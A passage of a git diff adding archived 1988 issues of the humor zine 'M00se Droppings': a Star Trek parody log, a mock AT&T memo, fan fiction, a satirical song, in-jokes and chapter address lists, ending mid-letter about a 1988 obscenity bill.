corrections to it. The trap was sprung, and all +four of my men were suspended for a moment in mid-air, puzzled, just +before they fell into the cage we constructed. We are now trying to +release them with phasers, as the lock was inadvertently smashed by the +impact from Sociologist Xontel's foot as he fell. I consider this a +major setback. Mr. Spock considers it "fascinating." + +Captain's Log, stardate 54343.4. In an all-out attempt to stop the +creature once and for all, I have had a phaser rifle beamed down from +the Enterprise. The creature has behaved in an extremely cunning +manner, yet I am unsure whether this is a sign of actual intelligence. +Lt. Uhura has been unsuccessful in her attempts to raise Starfleet +Command. Meanwhile, Mr. Scott informs me that our dilithium crystals +are deteriorating at an alarming rate. He has juryrigged a system that +will prevent the decay for a time, but it is imperative that we find new +crystals soon. + +Captain's Log, supplemental. Mr. Sulu reports high energy tricorder +readings from an area of the planet in which the creature has not yet +been sighted. He has taken a small party, including Mr. Spock, to the +high-elevation spot from which the readings emanate. I have begun to +analyze the creature's movements. It seems to travel consistently over +a set path. Perhaps we can corner it in a tunnel it seems to pass +through frequently. + +Captain's Log, stardate 54344.7. Mr. Sulu has located a cache of ACME +dilithium crystals atop a high cliff. Regretfully, while collecting +them, the edge of the cliff broke off, and he and Mr. Spock plummetted +several hundred feet to the ground below. Strangely enough, they both +survived the fall with no more than raising a cloud of dust on impact, +although they did pass the chunk of rock on the way down and end up +completely buried. A rescue excavation has commenced, and they should +be safe shortly. + +Captain's Log, stardate 54344.9. Mr. Spock has beamed up to the ship +with them to assist Mr. Scott in their installation, as he forsees +compatability problems. Back on the planet's surface, Mr. Chekov led +seven men into the tunnel in an attempt to capture the creature in +transit. A loud BEEP, BEEP was heard, and Chekov aimed the phaser rifle +and commanded his men to spread out. I wish to state for the record +that I would have acted similarly, and that Ensign Chekov should in no +way be held responsible for the unfortunate circumstances arising from +the unexpected appearance of an old Earth-style freight train. He has +been beamed back up to the ship with minor injuries. + +Captain's Log, stardate 54345.1. Dr. McCoy has beamed down with a hypo +containing a mixture of kyranide, tri-ox compound, Scalosian +concentrate, a theragram derivative, and some other items he found in +unmarked containers in Sickbay. By injecting a small amount into each +member of the landing party, I hope to be able to deal with the creature +on its own high speed terms. + +Captain's Log, supplemental. The latest experiment to deal with the +strange creature has failed. As Dr. McCoy was injecting a measured dose +of the compound, it abruptly appeared behind him and uttered a loud +BEEP, BEEP! Dr. McCoy, understandably flustered, accidentally pressured +in the entire contents of the hypo into his arm. A full security team +is in pursuit of him, waiting for the effects of the drug to wear off. + +Captain's Log, stardate 54345.2. I have ordered the landing party +transported back to the ship. The new dilithium crystals have been +successfully installed. On my responsibility, the ship is preparing to +engage main phasers to attack the creature, which continues on its +semi-erratic course across the planet's surface. + +Captain's Log, supplemental. This is a warning to all other starships +that may pass this way. Do not approach this planet! The illogical +events occuring here are too much to overcome with simple science. If +you have heard the events transcribed in the rest of this log, you will +learn that this creature is nearly undefeatable. We channelled full +ship's power through the phaser banks. Theoretically, the creature +should have been destroyed; however, the energies were too much strain +for the ACME crystals. The full force of the phasers backlashed over +the Enterprise, engulfing her completely. At first, the only noticeable +effect was a complete failure of all systems save emergency gravity and +life support. Then a web of black lines spread through the Enterprise's +superstructure. Next, the ship began breaking up, piece by piece, +falling through the atmosphere to land on the surface of the planet. +When the ship had collapsed entirely, my crew was left hanging in space +for a short time, and finally each of us began to fall to the planet +below. We have no theories on how any of us survived, but every +crewmember has reported nothing more than a sense of uneasiness, +followed by the realization that they were several hundred miles up in +the air, a sinking sensation, and then a gradual drop: first the feet, +then the body, and finally the head, usually wearing a resigned +expression of perplexion. We are attempting now to communicate with the +creature in the hopes that it will prove intelligent. Perhaps we can +communicate our peaceful intentions to it. Mr. Spock has constructed a +crude rocket launcher from the wreckage of the ship, and with this we +hope to send the recorder marker up into space, where hopefully someone +will find it. Captain James T. Kirk, of the United Federation of +Planets, Captain of the Starship Enterprise, recording. + +******* end message ******* + +-------------------------------------------------------------------------------- + + AT&T Customer Service Memorandum + + Please stop submitting compliants. This is our system. We designed + it, we built it, and we use it more than you do. If there are some + features you think might be missing, if the system isn't as effective + as you think it could be, TOUGH! Give it back, we don't need you. + See figure 1. + + *-------------------------------* + | _ | + | | | | + | | | | + | .-.| |.-. | + | .-| | | |.-. | + | | | | ; | + | \ ; | + | \ ; | + | | : | + | | | | + | | | | + | | + *-------------------------------* + Figure 1. + + Forget about your silly problem, let's take a look at some of the + features of your AT&T computer system. + + * Options + + We've got lots of them. So many in fact, that you would need two + strong people to carry around the documentation if we had bothered + to write it. So many that even we don't know what most of them do. + Don't ask us for any of these options, because we probably can't + find the PEC for it anyway. Even if we find the PEC, we probably + can't order it either (just TRY asking for nroff on a 3B2). If you + don't like it, call Technologies. They'll tell you to see Figure 1. + + + * Hot Lines + + If you need technical help, call our hotline. You say that the guy + at the other end doesn't know any more than you do? Too bad. If we + could afford to pay qualified people to answer the phones, we'd be + paying them to make our computers work in the first place. Besides, + you don't ever need to do anything sophisticated anyway. If you do, + see Figure 1. + + + * Integrated Voice and Data + + What the hell is integrated voice and data? All it means is that + you can talk on the phone while you are typing on your terminal. + So what if the terminal and the phone aren't integrated; that's + not what we advertise. Besides, you probably can't even walk and + chew gum at the same time, much less talk and type. If you can, + see Figure 1. + + + * Unix + + We invented it; it's perfect, and we're the only ones who do it + right. We're so happy with it, we put it on every kind of computer + we make. We even try to keep it the same from release to release, + but usually we blow it. If you want a computer with stable file- + systems, get a VAX. Another thing: those nerds from Berkeley are + just troublemaking hackers who have a productivity complex. They + took our operating system and made it useful, so we told them to see + Figure 1. + + + * Applications Software + + We give you MS-word; what else do you want? So what if it is a + clumsy port from another operating system, it works doesn't it? + Well, OK, it sort of works. If you want applications software, get + an IBM PC. You can get lots of it and they even support it + sometimes. If you already bought one of our computers and are + unsatisfied, you're stuck with it. We spoke with our applications + software people about this, and they think a lot like we do; they + said "see Figure 1." + + + * Shells + + We have two shells; one we sell and one we use. The Bourne shell is + plenty good for trivial little hacks, which is all you do anyway. + Don't ask for the Korn shell either. It's great, everybody at AT&T + has a copy, but we won't give it to you. Besides, if you want to do + anything important, write it in C. We told our shell programmers to + see Figure 1 a long time ago. + + + * The C Programming Language + + We like it so much we named a book after it. You can do anything + our machines can do, which is not very much. Where else can you + put so much unreadable code in such a small space? Besides, you + probably should be programming in the shell anyway; C is too hard + for you. We told our C programmers to see Figure 1 a long time + ago anyway. + + + * Floating Point Hardware + + We have the WE32106 Math Accelerator Unit, one of the fastest chips + around. It's so special that you need a special compiler to use it. + Nobody knows how to get you a copy of the compiler? That's right. + We don't release it because we are writing another one. When it's + ready, we might give it to you, but probably not. In the meantime, + you have to stick with the interpreter, live with the slowness, and + see Figure 1. + + + * Support + + We have thousands of service people out there, but most of them are + busy. If your computer breaks, you will just have to wait. Our + techs are rehashed phone installers, so don't expect them to be very + helpful unless it involves tip and ring. Oh, if something breaks + between 5:00 PM and 9:00 the next morning, don't waste your time + calling us, we're out. We also take lots of lunch breaks. If you + need real support, see Figure 1. + + + In conclusion, stuff your complaint. Love your AT&T computer or + leave it, but don't bitch to us. We don't give a shit. We don't + have to. We're the phone company. + +------------------------------------------------------------------------------- +*************** AND, OF COURSE, THE UBIQUITOUS M00SE LIST UPDATE ************** +------------------------------------------------------------------------------- + +Add: + +Wesleyan thr0ng LBURKA @ WESLEYAN Leather Goddess + + +Change: + +North Dakota State U. chapter UD140680 @ NDSUVM1 Nathan Irwin + to: The Anachronist + +The Penn State chapter is now a thr0ng! + +And until further notice, Guardian_A is reachable through GypsyLynx's account. diff --git a/textfiles.com/magazines/M00SE/m00se12 b/textfiles.com/magazines/M00SE/m00se12 new file mode 100644 index 00000000..f212616b --- /dev/null +++ b/textfiles.com/magazines/M00SE/m00se12 @@ -0,0 +1,193 @@ + _ /\ _ _ /\ _ + / \_/\_/ \_/\_/ \ M M 0000 0000 SSSSS EEEEEEE / \_/\_/ \_/\_/ \ + \_____/ () \_____/ MM MM 0 //0 0 //0 S E \_____/ () \_____/ + / \ M M M M 0 // 0 0 // 0 SSSS EEEEE / \ + / \__/ \ M M M 0// 0 0// 0 S E / \__/ \ + /__________\ M M 0000 0000 SSSSS EEEEEEE /__________\ + + DDDD RRRR OOOO PPPPP PPPPP IIIII N N GGGGG SSSSS + D D R R O O P P P P I NN N G S + D D RRRR O O PPPPP PPPPP I N N N G GGG SSSS + D D R R O O P P I N NN G G S + DDDD R R OOOO P P IIIII N N GGGG SSSSS + + A-M00SE-ING ANECDOTES AND ILLUMINATION BY AND FOR THE PAWNS OF THE + M00SE ILLUMINATI + +Issue #12| Disclaimer: The Editor will place almost anything | Sep. 19, 1988 +---------- in this newsletter out of a frantic desire to fill --------------- +the issue, so don't blame him for the quality or content of the submissions. +Excepting those he may have written himself, the enclosed items do not in any +way represent the Editor's opinions. In fact, let's be real safe, and say that +as far as this newsletter is concerned, he has no opinions at all. Okay? Good. +================================================================================ + +-------------------------------------------------------------------------------- +**************************** EDITORIALS AND LETTERS **************************** +-------------------------------------------------------------------------------- + + So, here we are with Issue #12! Things are progressing nicely in the +M00se Illuminati. We continue to expand, some goals are being set, interesting +activities are being carried out. + One thing you may be interested in is the description of CHAOS Engineering +in M00se.Info. I intend to update the file a bit myself, and then anybody who +wants the new version can ask me for it. If enough people want it, I'll just +send it out along the distribution net. + Which brings us to the one problem we have. Virtually nobody is answering +the question about distributors. Once again, we need one person at each node +to distribute for that node, and we need to know if that person is also willing +to forward a copy to the next major server node in line. We want answers from +those who are alone at a node; even if you won't be distributing to others at +your own node, are you willing to send a copy along to the next node in line? +PLEASE get back to me on this ASAP, Kamikaze can't design a new MDNET without +this information. Since the current one has holes in it, and some people may +not be getting their issues, we want to take care of this as soon as possible. + +-------------------------------------------------------------------------------- +******************************* EVENTS AND NEWS ******************************** +-------------------------------------------------------------------------------- + + As I said above, the M00se Illuminati keeps growing. And now the day is +in sight when we shall reach 100 network chapters. I hereby suggest that when +we do, we have a Mega-Thr0ng-a-Thong at the University of Hartford, here in CT. +I will begin looking into hotels and campgrounds in the area, to get ideas of +prices in the area. The Science Fiction Society here at UHa will reserve a +good-sized room for a day. And when we reach 100 chapters, we'll start working +on an actual date. + Whaddaya all think? + +-------------------------------------------------------------------------------- +***************************** FICTION AND POETRY ******************************* +-------------------------------------------------------------------------------- + +<< Here we have Wall's first attempt at gospel (I think he said) songwriting. +It's started some activity on the Stony Brook Underground. >> + + + GOOD ENOUGH FOR JESUS + --------------------- + + Jesus is my guidance + he tells me what is true + he tells me what to think + he tells me what to do + he tells me what i'm hearing + he tells me what i see + and if it's good enough for Jesus, + it's good enough for me. + + Jesus healed the faithful + back in the Good Old Days. + He didn't have to do surgery + he didn't need X-rays + and he didn't need to medicine + to cure their infirmity + and if faith-healing's good enough for Jesus + it's good enough for me. + + Those Evil Pawns of Satan + are publishing books of sin + books like 'Stuart Little' + and 'Huckelberry Finn' + and so what if this is America + so what if the press is free + if censorship's good enough for Jesus + it's good enough for me. + + That heretic Charles Darwin + said Creation was just a fable + he said we evolved from monkeys + not from Adam, Eve, nor Abel + and so what if Galton proved it, + quite irrefutably + if Creationism's good enough for Jesus + it's good enough for me. + + A man called Galileo + said the Earth goes 'round the Sun + and the Earth is just a planet + and not the only one + and so what if Kepler proved it + in the Seventeenth century + if Geocentrism's good enough for Jesus + it's good enough for me. + + Yes Jesus is our savior + he showed us the way + and now it's our duty to save you + so you'd better do what we say + and if you don't want to go along with it + we have ways of forcing you to + cause if it's good enough for Jesus + it's good enough for you. + + + wall + +- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - + +<< The CHAOS Engineer's Superm00se story will continue with chapter two +next issue. At this time, he plans to make it a bi-weekly feature. >> + +-------------------------------------------------------------------------------- +*************************** MISCELLANEOUS NONSENSE ***************************** +-------------------------------------------------------------------------------- + +<< One of the new chapters, Larry Nathanson, had an interesting idea some +of you may wish to try out. >> + +Oh, by the way, The treasurer of this chapter, collected dues from the +Poobah, and Bull Moose, (who promptly wrote him checks) and convinced the +ATM to triple his account. He thanks you dearly, and will refer the bank +manager to you, if problems arise. :-) + +- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - + +<< This note came from the CHAOS Engineer, giving a little bit of hope that +Sabre is still alive... >> + + Today I did sight the rare and Elusive m00se whom is called Sabre. +This was indeed a suprise, as he has been reputed to have been kidnapped +by the brotherhood of evil relayers. This in fact is not true, as the straight +p00p from the m00se's mouth did indicate otherwise. He has in fact been +enslaved by the Boston Univeristy Bookstore. further sightings will be +reported. + + CHAOS Engineer + +-------------------------------------------------------------------------------- +*************** AND, OF COURSE, THE UBIQUITOUS M00SE LIST UPDATE *************** +-------------------------------------------------------------------------------- + +<< I'm pleased to say that we have now passed the 70-chapter mark. Please +look over this list carefully, and add anyone in your own thr0ng to your +distribution lists. If you want a complete list, let me know. >> + +Please add: + +Boston University thr0ng LAN @ BUCSF.BU.EDU + Larry Nathanson + +Buffalo chapter V291NHTP @ UBVMSD Patrick Salsbury + +Cornell thr0ng ZEMANINA%CHEME.DECNET@ CHEME.TN.CORNELL.EDU + Spaceman Bif + +Loyola thr0ng GAIL @ LOYVAX Sybil + MARKUS @ LOYVAX Markus + VANIDOR @ LOYVAX Vanidor + +Wesleyan thr0ng LGREENSTEIN @ WESLEYAN Pope Atheist I + +Saunacuse thr0ng MMAUSTIN @ SUNRISE Scamp + +- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - + +Please remove: + +Bryn Mawr chapter M_PETTIT @ BRYNMAWR Midland Maniac + +Loyola thr0ng SETH @ LOYVAX Seth + +Maine thr0ng RFK350B @ MAINE Guardian Angel + (Guardian Angel is reachable for now through Lynx's account.) diff --git a/textfiles.com/magazines/M00SE/m00se13 b/textfiles.com/magazines/M00SE/m00se13 new file mode 100644 index 00000000..b94c7f6a --- /dev/null +++ b/textfiles.com/magazines/M00SE/m00se13 @@ -0,0 +1,363 @@ + _ /\ _ _ /\ _ + / \_/\_/ \_/\_/ \ M M 0000 0000 SSSSS EEEEEEE / \_/\_/ \_/\_/ \ + \_____/ () \_____/ MM MM 0 //0 0 //0 S E \_____/ () \_____/ + / \ M M M M 0 // 0 0 // 0 SSSS EEEEE / \ + / \__/ \ M M M 0// 0 0// 0 S E / \__/ \ + /__________\ M M 0000 0000 SSSSS EEEEEEE /__________\ + + DDDD RRRR OOOO PPPPP PPPPP IIIII N N GGGGG SSSSS + D D R R O O P P P P I NN N G S + D D RRRR O O PPPPP PPPPP I N N N G GGG SSSS + D D R R O O P P I N NN G G S + DDDD R R OOOO P P IIIII N N GGGG SSSSS + + A-M00SE-ING ANECDOTES AND ILLUMINATION BY AND FOR THE PAWNS OF THE + M00SE ILLUMINATI + +Issue #13| Disclaimer: The Editor will place almost anything | Sep. 19, 1988 +---------- in this newsletter out of a frantic desire to fill --------------- +the issue, so don't blame him for the quality or content of the submissions. +Excepting those he may have written himself, the enclosed items do not in any +way represent the Editor's opinions. In fact, let's be real safe, and say that +as far as this newsletter is concerned, he has no opinions at all. Okay? Good. +================================================================================ + +-------------------------------------------------------------------------------- +**************************** EDITORIALS AND LETTERS **************************** +-------------------------------------------------------------------------------- + + Issue #13! Greetings all. Again, a fine issue, ready for your perusal. +My project to build my own Spiculum and rule the world is still in the R&D +stages; I'll keep you posted. One thing before I let you read the rest +of the issue: PLEASE PLEASE PLEASE contact me about distribution! We're +getting no cooperation, and it's real hard to put together the list.... + +-------------------------------------------------------------------------------- +******************************* EVENTS AND NEWS ******************************** +-------------------------------------------------------------------------------- + +<< DANGER! Got this from Fiben... >> + +Pickle, I found this in the Philadelphia Inquirer and I feel that + all M00SES must be informed with the following warning. + + BEWARE OF THE FRENCH !!!!! + + "There are big problems on Route 201 in Maine, + big problems. + A 50-Mile strech between Bingham and the Canadian + Border is called "M00SE Alley" because all to often, + M00SE meets car and things get ugly. + The problem caught the attention of the bureaucrats + with the state Department of Transportation who decided + to take corrective action. + Bureaucrats can be quite creative with corrective action. + They decided to put up some M00SE warning signs along + the road. + To appreciate the signs one has to take in to account who + typically get involved in M00SE accidents besides M00SE. + Game Wardens estimates that 98% of the M00SE/Car crashes + involve French-Canadians who naturally speak French. + The signs are in English. + Fiben + + +I would like to claim +responsibility for those signs. I knew it would cause great confusion +if all the signs were in English, and end up causing a lot of anarchy, +so I did it. (That's the REAL reason why I moved north..to be closer +to my target) Just wait til you see what I have planned for Central +New York State!!! +*maniacal laughter* +Wolverine + + +-------------------------------------------------------------------------------- +***************************** FICTION AND POETRY ******************************* +-------------------------------------------------------------------------------- + ***-> The Adventures of Super-M00se <-*** + --- ---------- -- ----- ----- + + + Forward- All that follows is pure fiction and fallacy, with most rip-offs + being done on purpose. All puns on purpose and all violations + acknowledged. Any resultant health problems due to reading + these episodes are not the responsibility of the author. + + + + + + Welcome to Gothopolis, a hustling, bustling city full of all kinds +of folks, including mild mannered reporter Mark Kent of _The_Daily_Gonad_, +also secretly know as Superm00se, doer of good deeds, righter of wrongs, +Champion of all oppressed m00ses everywhere, and occasional window-washer +(the super-hero business does slow down every now and then, and those sky +scrapers are so TALL.) + + %%%%%%%%%%%%%%%%%%%%%%%%%%% + + "Mark, get in here!" bellowed Cherri Reddings. Cherri was the Editor +in Chief of _The_Daily_Gonad_ and was a sight to behold indeed. Tall and +voluptuous, ex playboy centerfold turned EiC, with tumbling locks of flaming +red hair. + Mark rushed in, out of breath. Mark had a crush on Cherri but was +too mild mannered to make a pass at his boss. "Yes Cherri?" + "Mark, I want you to get on this terrorist story. I'm taking Lou +off it and giving it to you. Here's two plane tickets. Take Biminy with +you. You're leaving for Kansas City in three hours." + "Kansas City? What kind of terrorist crisis is there in Kansas +City?" + "Mark, you numskull, don't you read the paper? Seven kids have +taken their high school principal hostage and are threatening to blow up +the city with a home made atom bomb if their parents won't increase their +allowances and let them watch David Letterman." + "All that to get an allowance raise and permission to watch David +Letterman?" + "Yeah. They want an allowance raise of several million dollars +and want to watch Letterman via satellite in the Bahamas." + "Oh." + "Mark, you idiot, get going, and don't forget Biminy." + "Yes Cherri." Mark walked out, in a slight daze. Gosh, he loved +it when Cherri got mad at him. She was SO pretty when she was mad. + Biminy was _The_Daily_Gonad_ 's best photographer. His real name +was Johnanthan Robert James Edward Peter Joseph Harold Paul Parker Oppenheimer, +but since every one had trouble remembering it all, they just called him +Biminy, since that was where he came from. Poor Lou. Lou would be so upset. +Lou was Louis Street, and was the best reporter the paper had until Mark +was hired last year. + + %%%%%%%%%%%%%%%%%%%%%%%%%%%%%% + + Mark and Biminy arrived mid-evening in Kansas City, and the crisis +had become even more tense. The children had made even more demands, wanting +two sex-slaves each, while the parents remained adamant that they were going +to get sent to bed without dinner and had further promised that television +privileges would be revoked for two weeks as well unless they stopped this +nonsense immediately and surrendered. + "Gosh Mark, this is so exciting!" + "I know Biminy. Just take some pictures. Make sure that they're +good ones. Get some of the parents, and a few of the principle's wife. +I'll get some statements from people." + Biminy went around, dutifully snapping pictures, while Mark approached +the chief of police. "Excuse me chief, Mark Kent of _The_Daily_Gonad_. +Could I get a statement." + "Mark who of the Daily what?" + "Mark Kent sir, _Daily_Gonad_. I was wondering if I could get a +statement." + "Yeah, sure. Five kids got their principal in there hostage. They +got an Atomic bomb. anything else?" + "How come you haven't called in the National Guard?" + "Because the governor doesn't see this as a serious threat. Spank +them, he sez, and they'll behave and go home and everything will be fine. +What we need is one of them super hero types, like Chipmunkman or something." + "Hmm... Thanks a lot chief." + "Stupid reporters.." muttered the chief, as Mark made his way to +someplace private. This was a job for Superm00se he thought, not a half +rate rodent face like Chipmunkman. Having made sure the rest-room was empty, +Mark uttered the fateful word. "Leviam00se." + Magically transformed, where Mark once stood there was now Superm00se, +replete in his pink tights and blue cape. "Well," thought Mark/Superm00se, +"This should be a cake walk. Four kids with a bomb. Easy." + Emerging from the rest-room, Superm00se arrived forthwith at the +scene. + "Evening chief. Heard you needed a super-hero. What can I do for +you." The cloying arrogance in Superm00se's voice was unmistakable. + A look of incredulity crossed the chief's face when he turned around +to see who was speaking to him. + "Who the fuck are you? Mickey Mouse or something." The chief was +clearly unimpressed. + "No. Tis merely I, Superm00se, champion of all m00sekind and oppressed +non m00ses." + Great, thought the chief. Just what I need. A loony psychopath +loose in a pair of tights. + "Listen Pal, I don't know where you got the hokey get up, but why +don't you give it a break and go home to the wife and kids. This is a dangerous +situation we got here and we don't need no crazy kooks who think they've got +super powers running around. Get lost." + This man was obviously in need of an education. How dare he treat +the mighty and righteous Superm00se in such fashion. We'll, I'll show him. + Flexing his mighty m00se muscles, Superm00se leaped forth at moderate +speed and slammed into the brick wall making a nice impression, but otherwise +failing to crash through. Great display of m00sieness, Superm00se thought +to himself. Guess I'll just have to use the door. + In the meantime, several officers were taken to the hospital for +treatment of severe hyperventilation from extreme fits of laughter. + + %%%%%%%%%%%%%%%%%%%%%%%%%%%%%% + + It was dark inside the school, but it did not bother Superm00se, +as he merely used his enhanced m00se-ray vision to probe the murky halls. +Moving about, Superm00se located the students in the teacher's lounge. His +super-m00sey hearing brought him startling sounds + "And now from our home office in Scottsdale, Arizona, here's tonight's +top ten list. Tonight's list is the Ten most improbable Super heroes in +Kansas City. (drum roll) Number ten: Sweat-sock Man. Number nine: Faded +Denim Blues Man. Number eight: Tastey-Cake Girl. Number seven: Kansas +City Chiefs Football team. Number six: Hair-Spray Woman. Number five: Coffee +Man. Number four: Cheezewhiz Lad. Number three: Bill Bixby. Number two: +Jake & Elwood. And number one (faster drum roll and a cymbal crash): +Superm00se." + Good God! What fiendish deviltry was David Letterman working now? +And how was it half past midnight when it was only mid-evening several +paragraphs ago? Superm00se needs answers, and needs them now. + Once again flexing his mighty m00se muscles, Superm00se crashed +into the door to the teacher's lounge and enjoyed much more success than +with the brick wall. However... + "greetings Superm00se, we've been expecting you. Won't you come +in and sit down?" + Holy M00se! How could this be? In with these innocent children +sat one of the foulest scourges of m00se-kind in existence. DORITO-BREATH +MAN!!! (insert chintzy suspense music here.) + "Oh come now, Superm00se, do sit down. Let's have a nice little +chat. I take you're here to negotiate the principle's release?" Dorito-Breath +man sputtered out in-between handfuls of doritos and swigs of his drink. + "No, I think not you foul villain. I'm here to take you in and +free the principle and set these children straight." said Superm00se, wrinkling +his large m00sey nose at the terrible reek Dorito-Breath man was emitting. + "Oh you have, have you? Well, think again m00se brain!" exclaimed +Dorito-Breath Man has he gave a mighty exhale in Superm00se's general +direction. Superm00se took one whiff and went out like a light. + + %%%%%%%%%%%%%%%%%%%%%%%%%%%%%% + + "OOohhhhh......" moaned Superm00se, as he came to. What was on +Dorito-Breath Man's breath to put him out like that. It gave new definition +to chronic halitosis. Phew! + "Ah, sleeping beauty awakes. I see you like my new Limburger doritos +Superm00se. Fiendish, aren't they? Took my head chef nearly a year to +come up with them." Dorito-Breath Man gloated over Superm00se, carelessly +holding a bottle of Caffeine Free Diet Coke in one of his hands. + No wonder I blacked out, Superm00se mused to himself. Half the +ingredients to m00se-ite and the fool didn't even know it. I'll just have +to humor him for a while. + "Well, Simperm00se, I'd like to stay and watch your demise, but +I have to be going. Just to let you know how you'll die, pay attention. +When all the sand in that hour glass drains out, the ball will tighten the +cord that will start the motors on the cranks. The cranks will tighten +the Titanium Steel Alloy cables wrapped around you until you're crushed +like an egg. Ha Ha ha ha ah ha haaa (maniacal laughter)." Cackled Dorito- +Breath Man as he left the boiler room. Looking at the hour glass, Superm00se +figured he had maybe five minutes to escape from this one. + + %%%%%%%%%%%%%%%%%%%%%%%%%%%% + + Well, It certainly looks bleak for our hero. He's in a real tight +spot. Tune in next week, same m00se channel, same m00se time. + + +-------------------------------------------------------------------------------- +*************************** MISCELLANEOUS NONSENSE ***************************** +-------------------------------------------------------------------------------- + +<< Continuing Beez's random babbling until he comes up with those stories... >> + +The Sauve Lady's Men in Dry Clothing Assn. printed da 1st issue of 'Sauve +Lady's Men in Dry Clothing' this Tuesday. The leader of SLaMeD ClAss (???) +was happy about the first issue, but was disappointed about the circulation +which is currently at 2. He also stressed that the fact that the other member +was female, that he may have to change the name to Sauve Lady's Man in Dry +Clothing. This shouldn't deter any women from joining the organization and +maybe a sister organization could be created. (Debutants You Kan't Escape-- +DYKES [just joking...just joking!!] + +I checked the Syracuse Library (you know the one..it gets shorter every year) +for any books on M00sian Geometry, M00sian Physics and M00sian Martial arts.. +Does anyone know anything about these or where I can find books? (actually this +is meant to spar one of you to write on the subjects, which would give me some +ideas to write on) The closest thing I could find is a book on Zen and the art +of M00se maintance. Thank you for all your help. + +Mr. Ed is not a M00se. Wayne Newton is not a M00se. Julia Child is not a M00se. +Donna Reed is reported to not be a M00se. I hope this clears things up. + +Beez 'Jimmy Olsen's best pal' Beeler + +- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - + +<< This from new m00se Spaceman Biff >> + +Jeez guys, I made it!!! Bloooop! + + Thanks for my induction to m00sehood; I look forward to +my continued and active involvement. (The fiction and fancies in +issue 11, having to do with Sat. A.M. physics and Star Trek, and the +AT&T memo (see figure 1), came to me from a buddy in Berzerkeley, who +got 'em from a pal in Wisconsin, etc., and I forwarded them to my +m00sepapa, wolverine, and the rest is history...) + + There are, however, two corrections I feel I must make: + + 1: The nick is Spaceman Biff (two effs, thank you), + or just Biff for short, and + + 2: My last name is ZEMANIAN, not ZEMANINA; the latter + form will only cause your e-mail to be returned + poste haste (sorry, my keyboard doesn't do italics + or underlines. If you're a TeXhacker, you may assume + there to be an \it command just before the line two + oops, three lines above this one. \rm) and I won't get + my 'droppings. + + + That, in a nutshell, is my statement upon induction, and you +will most definitely be hearing more from me later. Consider yourself +warned. + (Spaceman Biff) + +- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - + +<< Here we have a few unconfirmed Sabre sightings. First, I must say that +I *MAY* have seen Sabre in my room this evening, where he mentioned that +Niniane could blow up my ship. Well. That's why I've got me 8 g's of thrust, +and shields to get away. >> + +The was a confirmed Sabre-sighting on 9/19/88 by the one and only +GypsyLynx....right before he was once again kidnapped by the bookstore +slavers....rumors have it that he *might* actually show his face at +a miniature thr0ng-a-th0n in Siberacuse this weekend! + +GypsyLynx + + - - - - - - - - - - - - - - - - - - - + + Quote found scrawled on wall in Amherst, + + "The best way to deal with an elevator full of hair girls +is to throw in a lighted match and run like hell!!!!!" + + --Sabre (or so it claimed) + + - - - - - - - - - - - - - - - - - - - + +Fellow M00ses, + Thank you for helping me in my search for Sabre! And yes, he is +in fact free! I received a telephone communique from him this past +weekend, and while at first I thought it was going to be a ransom +call from his captors, it turned out he was enslaved by an +institution of another type: The Boston U. Bookstore. Plans are +underway to organize a store-break. So thank you all for aiding +in my search. Oh, and by the way, does anyone know the phone +number for Abbott's Dairy Products Inc.?? I have to call them and +cancel the ads on all those milk cartons..... + +Wolverine/Trelf + +-------------------------------------------------------------------------------- +*************** AND, OF COURSE, THE UBIQUITOUS M00SE LIST UPDATE *************** +-------------------------------------------------------------------------------- + +Please add: + +Hartford thr0ng MELINOSKI @ HARTFORD Slick Jones + ROSSI @ HARTFORD Loki + +U of Vermont chapter DZUCKER @ UVMVM dzucker + +Saunacuse thr0ng RETANTS @ SUNRISE Scamp + +- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - + +Please remove: + +Saunacuse thr0ng MMAUSTIN @ SUNRISE Scamp diff --git a/textfiles.com/magazines/M00SE/m00se14 b/textfiles.com/magazines/M00SE/m00se14 new file mode 100644 index 00000000..6eafc498 --- /dev/null +++ b/textfiles.com/magazines/M00SE/m00se14 @@ -0,0 +1,488 @@ + _ /\ _ _ /\ _ + / \_/\_/ \_/\_/ \ M M 0000 0000 SSSSS EEEEEEE / \_/\_/ \_/\_/ \ + \_____/ () \_____/ MM MM 0 //0 0 //0 S E \_____/ () \_____/ + / \ M M M M 0 // 0 0 // 0 SSSS EEEEE / \ + / \__/ \ M M M 0// 0 0// 0 S E / \__/ \ + /__________\ M M 0000 0000 SSSSS EEEEEEE /__________\ + + DDDD RRRR OOOO PPPPP PPPPP IIIII N N GGGGG SSSSS + D D R R O O P P P P I NN N G S + D D RRRR O O PPPPP PPPPP I N N N G GGG SSSS + D D R R O O P P I N NN G G S + DDDD R R OOOO P P IIIII N N GGGG SSSSS + + A-M00SE-ING ANECDOTES AND ILLUMINATION BY AND FOR THE PAWNS OF THE + M00SE ILLUMINATI + +Issue #14| Disclaimer: The Editor will place almost anything | Oct. 3, 1988 +---------- in this newsletter out of a frantic desire to fill --------------- +the issue, so don't blame him for the quality or content of the submissions. +Excepting those he may have written himself, the enclosed items do not in any +way represent the Editor's opinions. In fact, let's be real safe, and say that +as far as this newsletter is concerned, he has no opinions at all. Okay? Good. +================================================================================ + +-------------------------------------------------------------------------------- +**************************** EDITORIALS AND LETTERS **************************** +-------------------------------------------------------------------------------- + + Fellow m00ses, I'd like to apologize for getting this issue out late. +I'd like to say I've been very busy and didn't have time, but the truth +of the matter is, I completely forgot about it. + Before the actual issue begins, an announcement. Because some people, +through faulty mailers, or slow distributors, or undetected holes in the +distribution network, are either getting their M00se Droppings very slowly +or not at all, Sabre has started a new CSNEWS list: M00SEDRP. This will +*not* affect the normal distribution network at all. If you get your issues +too slowly, subscribe to M00SEDRP to get them faster. Then, when you receive +a second copy via the distribution network, delete it. + And now, on with the issue. + +- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - + +<< This letter came to me from Love-Hounds Digest. If it's true, it's very + important to all of us. >> + + + +Dear Music Lover, + +In the last few weeks, the freedom of contemporary music has come +under new and alarming attack. Lurking in the halls of Congress is +bill S.2033, the deceptively named "Child Protection and Obscenity +Enforcement Act of 1988," which would allow federal authorities to +confiscate the business and personal property of virtually every one +of us. This bill would enable federal authorities to obtain obscenity +convictions against records (this bill has the same far-reaching +implications for all the other arts - films, books, 